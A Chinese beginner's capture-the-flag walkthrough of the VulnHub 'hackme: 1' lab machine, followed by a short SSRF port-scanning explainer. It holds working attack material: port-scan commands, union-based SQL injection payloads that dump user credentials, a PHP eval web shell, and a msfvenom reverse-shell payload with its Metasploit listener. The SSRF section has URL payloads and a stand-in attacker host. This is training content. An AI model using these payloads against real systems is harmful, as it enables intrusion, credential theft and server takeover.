hackme1新手教学

靶机地址:hackme: 1 ~ VulnHubhttps://www.vulnhub.com/entry/hackme-1,330/

1.将靶机下载并导入到vm虚拟机当中,开启hackme1靶场。

2.打开kali虚拟机输入arp-scan -l 查看同一网段的所有IP,寻找靶机的IP地址,发现靶机IP为192.168.47.137

3.通过ifconfig查看kali的IP地址,此处kali作为攻击机。

4.通过masscan --rate=100000 -p 0-65535 192.168.47.137

对靶机进行端口扫描,发现开放80和22端口。

5.通过nmap -T4 -sV -O -p 22,80 192.168.47.137

对80和22端口进行nmap详细扫描查看端口的具体信息。

6.通过dirb http://192.168.47.137命令查看80端口的详细目录,发现目录为upload。

7.访问http://192.168.47.137

8.点击sign up now进行注册,并登录。

9.接下来查看是否有sql注入,点击search可以查看所有信息。

10.在查询框输入OSINT’and 1=1#发现有回显,说明存在注入。

11.输入order by 3#发现有回显,输入order by 4#没有回显,说明字段数为3.

12.输入-1' union select database(),2,3# ,查看数据库具体信息,得到数据库名称为webapphacking 。

13.输入-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#,查询数据库的所有表,得到数据库中存在books表和users表;猜测users表包含账户信息 。

14.输入-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#,查看user表中的所有列,发现有user和password,猜测账户密码很可能存在这两个列中。

15.输入-1' union select group_concat(user),group_concat(pasword),3 from users#,查看user和password的具体信息,发现用户名其中一个是superadmin,最有可能为管理员账户,得到用户名和密码,但是密码被md5加密。

16.对密码进行md5解密,推荐解密网站md5在线加密解密,得到解密结果为Uncrackable。

17.点击sign out of your account进行登录

18.接下里我们getshell,我们在桌面创建一句话木马的php格式文件,一句话木马为<?php eval(@$_POST['wjq']); ?>,点击选择文件进行上传,然后点击upload image。

19.根据页面提示文件上传至uploads中,所以一句话木马的路径为,192.168.47.137/uploads/1.php。

20.用蚁箭进行链接,可以查看后台文件,相当于拿到了服务器的部分权限

21.在kali中输入msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.47.130 lport=4444 -f elf >4444.elf,利用msfvenom生成攻击机的木马文件。

22.然后将生成的木马文件复制到本机win10桌面上传到中国蚁剑,之后只要服务器运行此文件,就会被监听。

23.在kali设置监听,输入代码

msfdb

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.47.137 #目标靶机IP

set lport 4444

explort

24.随后在中国蚁剑木马文件的目录下打开终端,设置木马文件的权限并运行文件(如果没有设置权限就会出现下图第一次运行文件时的情况:提示权限不足),输入chmod +x 4444.elf,提权,再运行4444.elf文件

25.运行后,在kali中会监听到服务器,此时获得服务器的shell。

26.切换到shell,输入whoami可查看具体信息

27.获取shell后切换到python终端,输入python -c 'import pty;pty.spawn("/bin/bash")'

28.输入cd home/legacy跳转到home/legacy目录下,ls发现 ./touchmenot文件

输入 ./touchmenot,运行获得root

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SSRF(Server Side Request Forgery)漏洞是一种常见的Web安全漏洞,攻击者可以利用该漏洞伪造服务器端发起的请求,例如访问内部系统或者外部网络等,从而造成安全风险。 SSRF漏洞的利用方式有很多种,其中一种典型的方式是利用SSRF漏洞进行端口扫描。攻击者可以构造特定的请求,使目标服务器向攻击者指定的IP地址和端口发起连接,从而达到端口扫描的目的。 下面我们就来分析一下SSRF漏洞的利用过程。 一、漏洞利用过程 1. 构造恶意请求 攻击者可以构造恶意请求,将需要访问的目标URL替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://example.com/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://example.com/?url=http://127.0.0.1:22 ``` 2. 利用漏洞进行端口扫描 当攻击者构造完恶意请求后,目标服务器会向攻击者指定的IP地址和端口发起连接,如果连接成功,说明该端口开放,否则该端口关闭。 攻击者可以通过不断尝试不同的端口,从而达到端口扫描的目的。 二、实战演练 下面我们将通过一个CTF例题来演示如何利用SSRF漏洞进行端口扫描。 1. 环境搭建 我们可以使用Docker来搭建漏洞环境,具体步骤如下: 1)拉取Docker镜像 ``` docker pull bluetonem/hackme-ssrf ``` 2)启动容器 ``` docker run -d -p 8080:80 bluetonem/hackme-ssrf ``` 2. 漏洞利用 访问http://127.0.0.1:8080/,可以看到一个简单的Web应用程序,该应用程序可以通过URL参数获取指定网址的源代码。 我们可以利用SSRF漏洞,将目标网址替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://127.0.0.1:8080/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://127.0.0.1:8080/?url=http://127.0.0.1:22 ``` 如果该端口开放,返回的页面会显示"SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2"等信息,说明端口开放。如果该端口关闭,则返回的页面会显示"Connection refused"等信息,说明端口关闭。 通过不断尝试不同的端口,可以实现端口扫描的目的。 三、防御措施 为了避免SSRF漏洞的产生,需要采取以下安全措施: 1. 对用户输入的URL进行严格验证,确保只访问合法的URL。 2. 对URL进行白名单验证,只允许访问指定的URL,避免访问不受信任的URL。 3. 对访问的目标URL进行限制,避免访问内部系统或者外部网络等不安全的URL。 4. 对服务器的网络端口进行限制,避免访问不受信任的IP地址和端口。 5. 对服务器进行定期的安全审计,及时发现和修复漏洞。 以上是关于SSRF漏洞分析与利用的详细介绍,希望对你有所帮助。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值